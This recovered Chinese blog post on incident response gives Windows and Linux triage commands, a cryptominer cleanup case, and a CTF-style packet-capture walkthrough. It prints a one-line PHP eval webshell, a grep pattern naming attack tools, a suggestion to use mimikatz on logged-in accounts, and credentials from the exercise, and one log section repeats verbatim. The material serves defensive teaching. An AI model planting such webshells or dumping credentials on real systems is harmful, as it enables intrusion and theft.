此文章为博客丢失找回内容
此文章为博客丢失找回内容可能存在部分内容缺失情况
一、应急响应概念
为应对计算机和网络信息中的突发安全事件前的准备工作和事件后的处置措施
二、应急响应的流程
三、实操排查点
(1)、windows应急响应
1.检查系统账户安全
1.1 已有账号和远程管理端口
检查服务器已有系统或应用账号是否有弱口令,3389端口是否对外公网开放
- 系统管理员账号
- 网站后台账户
- 数据库账户
- FTP
- Tomcat
- phpMyAdmin
查看当前登录账号:query user
使用logoff ID 命令注销已登录用户(会注销到账号登录界面),当可疑账号出于登录状态时,也可以使用mimikatz抓取密码
1.2 可疑账户、新增账户
检查服务器内是否有可疑账户、新增账户
检查方法: 打开cmd,输入lusrmgr.msc
命令,查看是否有新增/可疑的账户
wmic UserAccount get
列出当前系统所有账户(与查看lusrmgr结果一样,无法看到隐藏账户)
1.3 查看服务器是否存在隐藏账户、克隆账户
- 对于添加$符号的隐藏账户
使用下面命令:net localgroup administrators
(一般攻击者添加账户为管理组)或计算机管理查看
- 对于修改注册表的隐藏账户
无法在”计算机管理”中看到,打开注册表,右键权限修改管理员权限
退出注册表从进,查看Users表项目于Names表项中的项数量是否一致或者把这里存在的账户和计算机管理中存在的账户进行比较,多出来的账户就是隐藏账户。直接删除以隐藏账户命名的项。
1.4 工具使用
- D盾
- pchunter
2.检查异常端口、进程
2.1 检查端口连接情况,是否有远程连接、可疑连接
- 端口状态查看
管理员权限下:netstat -anob
查看占用端口的应用情况
-a 显示所有连接和监听端口。
-b 显示包含于创建每个连接或监听端口的可执行组件。在某些情况下已知可执行组件拥有多个独立组件,并且在这些情况下包含于创建连接或监听端口的组件序列被显示。这种情况下,可执行组件名在底部的 [] 中,顶部是其调用的组件等等,直到 TCP/IP部分。注意此选项可能需要很长时间,如果没有足够权限可能失败。
-n 以数字形式显示地址和端口号。
-o 显示与每个连接相关的所属进程 ID。
- 查看路由表
netstat -rn
-r 显示路由表
- 进程定位
根据netstat定位出pid,再通过tasklist命令进行进程定位
tasklist | findstr "pid"
- 防火墙配置
控制面板–>windows防火墙–>高级设置 入站策略和出站策略 查看防火墙入站和出站规则
命令netsh firewall show all
- 工具使用
PChunter、火绒剑、DNSQuerySniffer
使用火绒剑、PChunter查看网络连接
PChunter:
火绒剑: 可着重查看 未知文件,远程地址为 外部地址,状态为 ESTABLISHED、LISTEN的连接,另外需要注意模块路径是否正确。
DNSQuerySniffer:DNS解析查询工具。可以通过此工具确定访问恶意域名的端口,该工具还可以将访问过的所有域名记录下来,重点关注红色记录的端口、响应代码、A记录(双击查看)
2.2 检查进程
没有签名验证信息的进程
没有描述信息的进程
进程的属主
进程的路径
进程的占用
a、cmd查看
tasklist /?
查看tasklist 命令的使用
查看进程对应的服务
tasklist /svc
查看指定进程对应详情
tasklist /svc |findstr pid
查看加载的DLL进程 查看DLL劫持
tasklist /m |findstr pid
b、powershell 查看进程
get-process
c、系统应用查看
开始输入msinfo
d、工具排查
没有厂商名称、没有签名信息、没有描述信息、CPU占用高
Pchunter:
黑色为微软官方进程、蓝色为外界进程、红色为可疑进程
ProcessExplorer(微软官方):
3.检查启动项目、计划任务、服务
3.1 开机启动项目
- windows7 启动目录
windows10:
开始菜单启动项:C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
cmd:
系统自动启动的的目录: shell:Common Startup
用户自动启动的的目录: shell:Startup
任务管理器”启动”列表
在任务管理器里查看
- 注册表内启动项
WIN+R 输入 regedit,打开注册表,查看开机启动项是否正常,有异常删除,并安装杀毒软件进行病毒查杀,清楚残留病毒或木马
计算机\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
重启就会被清空
计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer
计算机\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
排查发现计划任务可以计算MD5值看该进程与启动项是否一致
certutil -hashfile file md5
防止攻击者替换启动项目文件
- 组策略编辑器
运行gpedit.msc
- 工具排查
pchunter:
Autoruns 微软官方: 黄色红色比较可疑
WMI后门:无文件,相对难排查
3.2 计划任务
taskschd.msc,查看计划任务属性,查看疑似木马文件的路径
CMD schtasks.exe
3.3 服务
- 服务自启动检查
- 进程注入
cs进程注入:
上线成功:
ProcessExplorer(微软官方):
火绒剑:
4.检查系统相关信息及文件排查
4.1 查看系统信息
- msinfo32
重点看正在运行的任务、服务、系统驱动程序、加载的模块、启动程序
4.2 查看可疑目录文件
- 可疑进程 cpu利用率 进程名 时间—->文件
powershell:Get-ChildItem
cmd:dir dir /r 隐藏文件 dir /x 短文件名
Everything:
c: <*.exe | *.bat> dm:2022/11/10-2022/11/22 size:>1mb
C: 表示盘符,如果是 C 盘、D 盘,对应的修改就行了。
<*.exe | *.bat>, 表示任意的以 .exe 或 .bat 结尾的文件,* 为通配符。
dm:2022/11/10-2022/11/22 表示修改时间为2022/11/10-2022/11/22间的文件,这里要与系统设置的时间格式保持一致,如果是月份在前,那这里也相应的修改一下。
size:>1mb:设置文件大小
- 注册表查看已安装应用程序目录:
计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\
- 查看用户目录
新建账户会在这个目录生成一个用户目录,查看是否有新建用户目录。就是c盘用户目录一般几个用户就会有几个文件夹。
windows 2000/xp/2003 C:\Documents and Settings
- 其他位置文件
回收站、浏览器下载目录(c盘下载和浏览器默认下载路径)、浏览器历史记录、系统临时文件、浏览器cookie信息
- 时间
修改时间早于创建时间
(2)、Linux 应急响应
1. 进程
1.1 查看占用大量CPU/RAM的进程
top
1.2 进程树
ps -auxwf
1.3 开放的网络端口
netstat -nalp
ss -a -e -i
lsof [many opitons]
1.4 查找被删除但还在运行的程序
ls -alR /proc/*/exe 2> /dev/null |grep deleted
1.5 进程相关名称及命令
strings /proc/<PID>/comm
strings /proc/<PID>/cmdline
1.6 进程实际路径
ls -al /proc/<PID>/exe
1.7 进程执行时环境变量
strings /proc/<PID>/environ
1.8 查看所有进程执行目录
ls -alR /proc/*/cwd
1.9 查看在tmp dev 目录下执行的程序
ls -alR /proc/*/cwd 2> /dev/null | grep tmp
ls -alR /proc/*/cwd 2> /dev/null | grep dev
2. 目录
需要检查的目录
/tmp, /var/tmp, /dev/shm, /var/run,
/var/spool, user home directories
常用命令:
ls -alp path
查找隐藏文件:
find / -d -name ".*"
3. 文件
查找设置属性为不可修改的文件
lsattr / -R 2> /dev/null | grep "\----i"
查找设置为SUID/SGUID的文件
find / -type f \( -perm -04000 -o -perm -02000 \) -exec ls -lg {} \;
查找没有用户/组名称的文件
find / \( -nouser -o -nogroup \) -exec ls -lg {} \;
列出当前目录中的所有文件类型
file * -p
查找可执行文件
find / -type f -exec file -p '{}' \; | grep ELF
find /tmp -type f -exec file -p '{}' \; | grep ELF
最近一天有修改(modified/created)的文件
find / -mtime -1
可存放后门持久化的目录
/etc/rc.local, /etc/initd, /etc/rc*.d, /etc/modules, /etc/cron*, /var/spool/cron/*
查找已经修改的包文件
rpm -Va | grep ^..5.
debsums -c
4. 用户
查找所有ssh公钥文件
find / -name authorized_keys
查找所有用户历史日志文件
find / -name .*history
查找历史日志文件重定向到/dev/null
ls -alR / 2> /dev/null | grep .*history | grep null
查看root用户/组
grep ":0:" /etc/passwd
检测sudoers 文件
cat /etc/sudoers
cat /etc/group
检查计划任务
crontab -l
atq
systemctl list-timers --all
5. 日志
查找大小为0的文件
ls -al /var/log/*
审计登录日志
utmpdump /var/log/wtmp
utmpdump /var/run/utmp
utmpdump /var/log/btmp
last
lastb
查找包含有二进制文件的日志
grep [[:cntrl:]] /var/log/*.log
/var/log/secure:安全日志
/var/log/cron:定时任务日志
/var/log/yum.log:软件安装卸载日志
/var/log/maillog:邮件相关
登录成功:more /var/log/secure* | grep “Accepted password”
登录失败:more /var/log/secure* | grep “Failed password”
本机登录情况:more /var/log/secure* | grep -E “sshd:session.session opened”
新增用户:more /var/log/secure | grep “new user”
传输文件:more /var/log/message* | grep “ZMODEM:.BPS”
定时任务日志:more /var/log/cron
定时执行脚本:more /var/log/cron* | grep -E “.py$|.sh$|.pl$”
下载软件情况:more /var/log/yum* | grep Installed
卸载软件情况:more /var/log/yum* | grep Erased
可疑工具:more /var/log/yum* | awk -F: ‘{print $NF}’ | awk -F ‘[-]’ ‘{print $1}’ | sort |
uniq | grep -E “(^nc|sqlmap|nmap|beef|nikto|john|ettercap|backdoor|msfcosole)”
错误登录:Lastb
所有用户最后一次登录:Lastlog
所有用户登录日志:last | grep pts | grep -vw :0ü /var/log/secure:安全日志
/var/log/cron:定时任务日志
/var/log/yum.log:软件安装卸载日志
/var/log/maillog:邮件相关
登录成功:more /var/log/secure* | grep “Accepted password”
登录失败:more /var/log/secure* | grep “Failed password”
本机登录情况:more /var/log/secure* | grep -E “sshd:session.session opened”
新增用户:more /var/log/secure | grep “new user”
传输文件:more /var/log/message* | grep “ZMODEM:.BPS”
定时任务日志:more /var/log/cron
定时执行脚本:more /var/log/cron* | grep -E “.py$|.sh$|.pl$”
下载软件情况:more /var/log/yum* | grep Installed
卸载软件情况:more /var/log/yum* | grep Erased
可疑工具:more /var/log/yum* | awk -F: ‘{print $NF}’ | awk -F ‘[-]’ ‘{print $1}’ | sort |
uniq | grep -E “(^nc|sqlmap|nmap|beef|nikto|john|ettercap|backdoor|msfcosole)”
错误登录:Lastb
所有用户最后一次登录:Lastlog
所有用户登录日志:last | grep pts | grep -vw :0
四、案例
1.windows 应急响应
1.1 检查
系统 ————> windows server2008
风扇噪声很大 —-> 中毒
无web服务 —–> 推测横向移动或恶意软件
1.2 抑制
现象为风扇噪音大,先排查cpu占用与进程
未发现其他疑似恶意程序,查看该程序
发现存在恶意连接
先kill掉该进程,结束进程后,发现还会恢复,可能存在计划任务
1.3 根除
因为存在自启动先检查计划任务、服务、开机启动项目相关启动信息
发现存在计划任务,继续查看你自动服务,并未发现恶意自动服务
查看开机启动项目
综上:目前启动项目只有计划任务,先将该任务暂停,在kill
等待几分钟中,发现不存在该进程自启动了
总结已处理情况:
挖坑木马位置
C:\Users\Administrator\Downloads\wkbd\wkbd
发生时间2022年3月23日,9:39:13
获取的到的主机权限Administrator
继续排查所有windows可疑项目
检查windows 系统账户安全:
发现存在隐藏账户,删除指定注册表项目就可以了
检查系统杂项发现辅助功能劫持
辅助功能都拥有一个特点就是当用户未进行登录时也可以触发。所以攻击者很有可能通过篡改这些辅助功能的指向程序来达到权限维持的目的。
锁屏状态下连续按5下shift确实调用cmd
查看对应注册表项目
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
删除对应的项目
继续总结一下目前情况:
挖坑木马位置
C:\Users\Administrator\Downloads\wkbd\wkbd
发生时间2022年3月23日,9:39:13
获取的到的主机权限Administrator
做了xiaoge$隐藏账户的添加
辅助功能粘滞键被劫持
继续排查系统相关信息及文件排查:
未发现威胁项目
文件检查:
进一步总结:
挖坑木马位置
C:\Users\Administrator\Downloads\wkbd\wkbd
发生时间2022年3月23日,9:39:13
获取的到的主机权限Administrator
做了xiaoge$隐藏账户的添加
辅助功能粘滞键被劫持
恶意软件Services.exe
恶意软件WmiApSvr.exe
所有关键项目都检查完毕,现在要排查是怎么进去的,因为获取到Administrator权限,该服务器没有web服务,首先推测为暴力破解
导出另存为
使用分析工具查看:
evtxLogparse.exe -s fail
2022-03-21 16:26:27 存在smb暴力破解
总结:2022-03-21 16开始进行远程登录,并创建隐藏账户,进行远程登录,上传恶意文件Services.exe、WmiApSvr.exe,2022-03-23 9时继续登录上传恶意程序,并创建定时任务和辅助功能粘滞键劫持
1.4 恢复
- 更换Administrator密码,重启服务器
- 注册表删除xiaoge$用户
- 删除恶意程序Services.exe、WmiApSvr.exe
- 删除定时任务system
- 结束进程javs.exe并删除文件
- 注册表删除辅助功能粘滞键
- 观察后续情况
1.5 建议
- 安装edr、杀软
- 制定密码强度管理制定
2.流量分析
某公司内网网络被黑客渗透,简单了解,黑客首先攻击了一台web服务器,破解了后台的账户密码,随之利用破解的账号密码登陆了mail系统,然后获取了vpn的申请方式,然后登陆了vpn,在内网pwn掉了一台打印机,请根据提供的流量包回答下面有关问题
2.1某公司内网网络被黑客渗透,请分析流量,给出黑客使用的扫描器
扫描器一般伴随着大量请求,筛选GET请求,查看
http.request.method == GET
所有可以判断是awvs扫描器
2.2 某公司内网网络被黑客渗透,请分析流量,得到黑客扫描到的登陆后台是(相对路径即可)
有上面get请求包含admin路径,推测后台地址包含admin,请求类型为POST,因为要传输值
http.request.full_uri contains admin && http.request.method == POST
所以后台地址admin/login.php
2.3 某公司内网网络被黑客渗透,请分析流量,得到黑客使用了什么账号密码登陆了web后台(形式:username/password)
登录成功一般伴随着302重定向到管理员页面,可能还会有js的加载,所以我们查看出现不同于admin/login.php,就说明爆破成功,被重定向了
可以看到获取到两个账户密码
账户:人事 密码:hr123456
账户:admin 密码:admin!@#pass123
2.4 某公司内网网络被黑客渗透,请分析流量,得到黑客上传的webshell文件名是,内容是什么,提交webshell内容的base编码
images下php文件,流量特征蚁剑,所以webshell名称a.php
过滤webshell,根据密码1234
tcp contains "1234" && tcp contains ".php"
所以提交的内容
<?php @eval($_POST[1234]);?>
2.5 某公司内网网络被黑客渗透,请分析流量,黑客在robots.txt中找到的flag是什么
直接搜索就行http contains "robots.txt"
flag:87b7cb79481f317bde90c116cf36084b
2.6 某公司内网网络被黑客渗透,请分析流量,黑客找到的数据库密码是多少
查看黑客执行的命令http contains "/images/article/a.php" || tcp contains "/images/article/a.php
读取了product_category.php,包含的配置文件init.php 黑客下一步就要读取这个文件
黑客读取了还是没有数据库账户密码
继续读取:
所以获取的账户密码:
// database username
$dbuser = "web";
// database password
$dbpass = "e667jUPvJjXHvEUv";
2.7 某公司内网网络被黑客渗透,请分析流量,黑客在数据库中找到的hash_code是什么
直接搜索:tcp contains "hash_code" || http contains "hash_code"
所以得到的hash_code:d1c029893df40cb0f47bcf8f1c3c17ac
2.8 某公司内网网络被黑客渗透,请分析流量,黑客破解了账号ijnu@test.com得到的密码是什么
直接搜索:tcp contains "ijnu@test.com" || http contains "ijnu@test.com"
所以得到的密码:edc123!@#
2.9 某公司内网网络被黑客渗透,请分析流量,被黑客攻击的web服务器,网卡配置是是什么,提交网卡内网ip
继续看蚁剑流量http contains "/images/article/a.php" || tcp contains "/images/article/a.php
网卡信息:
2.10 某公司内网网络被黑客渗透,请分析流量,黑客使用了什么账号登陆了mail系统(形式: username/password)
直接搜索登录url:http contains "/webmail/index.php?module=operate&action=login&web=1"
直接看最后一个就行,因为最后一个一般都是爆破成功的
账户:test.com 密码:+ZgE14UGcFcyRGLI0/ZXPQ==
密码前端加密后,看下前端的混淆
所以账户:test.com 密码:admin!@#PASS123
2.11 某公司内网网络被黑客渗透,请分析流量,黑客获得的vpn的ip是多少
vpn的ip是:10.3.4.3